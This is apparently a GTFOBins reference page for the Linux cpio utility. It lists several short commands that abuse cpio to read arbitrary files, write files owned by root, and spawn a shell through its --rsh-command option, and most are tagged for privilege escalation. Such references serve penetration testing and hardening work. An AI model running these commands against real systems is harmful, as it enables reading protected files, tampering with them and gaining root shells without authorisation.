GTFO · Tool

cpio

10 techniques LinuxGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation Linux

The content of the file is printed to standard output, between the `cpio` archive format header and footer.

echo /path/to/input-file | cpio -o

File ReadPrivilege Escalation Linux

The content of the file is printed to standard output, between the `cpio` archive format header and footer.

echo /path/to/input-file | cpio -o

File Read Linux

The content of the file is printed to standard output, between the `cpio` archive format header and footer.

echo /path/to/input-file | cpio -o

File ReadPrivilege Escalation Linux

The whole directory structure is copied to `.`, hence this is also a file write.

echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-file

File ReadPrivilege Escalation Linux

The whole directory structure is copied to `.`, hence this is also a file write.

echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-file

File Read Linux

The whole directory structure is copied to `.`, hence this is also a file write.

echo /path/to/input-file | cpio -dp .
cat path/to/input-file

File WritePrivilege Escalation Linux

The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .

File WritePrivilege Escalation Linux

The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .

File Write Linux

The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -udp .

ExecutionPrivilege Escalation Linux

echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost: